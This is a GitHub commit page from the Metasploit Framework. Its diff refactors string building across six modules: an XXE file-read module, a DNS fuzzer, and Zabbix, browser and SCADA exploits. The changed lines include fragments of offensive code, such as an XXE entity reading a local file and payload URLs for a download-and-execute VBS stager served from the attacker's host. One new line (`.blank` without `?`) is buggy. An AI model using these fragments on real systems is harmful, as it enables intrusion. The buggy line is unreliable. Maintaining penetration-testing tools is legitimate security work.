Skip to content

Commit 036cb77

Browse files
author
Tod Beardsley
committed
Land rapid7#4709, fixed up some datastore mangling
2 parents 4e0a62c + fb3422c commit 036cb77

File tree

6 files changed

+21
-26
lines changed

6 files changed

+21
-26
lines changed

modules/auxiliary/admin/http/nexpose_xxe_file_read.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def run
7474

7575
xml = '<!DOCTYPE foo ['
7676
xml << '<!ELEMENT host ANY>'
77-
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
77+
xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
7878
xml << ']>'
7979
xml << '<SiteSaveRequest session-id="'
8080

modules/auxiliary/fuzzers/dns/dns_fuzzer.rb

Lines changed: 16 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -330,22 +330,17 @@ def dns_send(data,method)
330330
end
331331

332332
def fix_variables
333-
if datastore['OPCODE'] == ""
334-
datastore['OPCODE'] = "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE"
335-
end
336-
if datastore['CLASS'] == ""
337-
datastore['CLASS'] = "IN,CH,HS,NONE,ANY"
338-
end
339-
if datastore['RR'] == ""
340-
datastore['RR'] = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR,"
341-
datastore['RR'] << "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT,"
342-
datastore['RR'] << "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT,"
343-
datastore['RR'] << "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME,"
344-
datastore['RR'] << "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC,"
345-
datastore['RR'] << "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY,"
346-
datastore['RR'] << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG,"
347-
datastore['RR'] << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED"
348-
end
333+
@fuzz_opcode = datastore['OPCODE'].blank? ? "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" : datastore['OPCODE']
334+
@fuzz_class = datastore['CLASS'].blank? ? "IN,CH,HS,NONE,ANY" : datastore['CLASS']
335+
fuzz_rr_queries = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," <<
336+
"HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," <<
337+
"NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," <<
338+
"EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," <<
339+
"SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," <<
340+
"DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," <<
341+
"TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," <<
342+
"IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED"
343+
@fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR']
349344
end
350345

351346
def run_host(ip)
@@ -381,7 +376,7 @@ def run_host(ip)
381376
if @domain == nil
382377
print_status("DNS Fuzzer: DOMAIN could be set for health check but not mandatory.")
383378
end
384-
nsopcode=datastore['OPCODE'].split(",")
379+
nsopcode=@fuzz_opcode.split(",")
385380
opcode = setup_opcode(nsopcode)
386381
opcode.unpack("n*").each do |dnsOpcode|
387382
1.upto(iter) do
@@ -414,11 +409,11 @@ def run_host(ip)
414409
nsclass << req[:class]
415410
nsentry << req[:name]
416411
end
417-
nsopcode=datastore['OPCODE'].split(",")
412+
nsopcode=@fuzz_opcode.split(",")
418413
else
419-
nsreq=datastore['RR'].split(",")
420-
nsopcode=datastore['OPCODE'].split(",")
421-
nsclass=datastore['CLASS'].split(",")
414+
nsreq=@fuzz_rr.split(",")
415+
nsopcode=@fuzz_opcode.split(",")
416+
nsclass=@fuzz_class.split(",")
422417
begin
423418
classns = setup_nsclass(nsclass)
424419
raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns

modules/exploits/multi/http/zabbix_script_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def exploit
7979
req = c.request_cgi({
8080
'method' => 'POST',
8181
'uri' => '/zabbix/',
82-
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
82+
'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in"
8383
})
8484

8585
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))

modules/exploits/windows/browser/real_arcade_installerdlg.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ def on_request_uri(cli, request)
8181

8282
# Payload's URL
8383
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
84-
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
84+
payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
8585

8686
# Create the stager (download + execute payload)
8787
stager_name = rand_text_alpha(6) + ".vbs"

modules/exploits/windows/browser/zenworks_helplauncher_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ def on_request_uri(cli, request)
130130

131131
# Payload's URL
132132
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
133-
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
133+
payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
134134

135135
# Create the stager (download + execute payload)
136136
stager = build_vbs(payload_src)

modules/exploits/windows/scada/scadapro_cmdexe.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,7 @@ def exploit
103103
end
104104

105105
payload_src = lhost
106-
payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"
106+
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
107107

108108
stager_name = rand_text_alpha(6) + ".vbs"
109109
stager = build_vbs(payload_src, stager_name)

0 commit comments

Comments
 (0)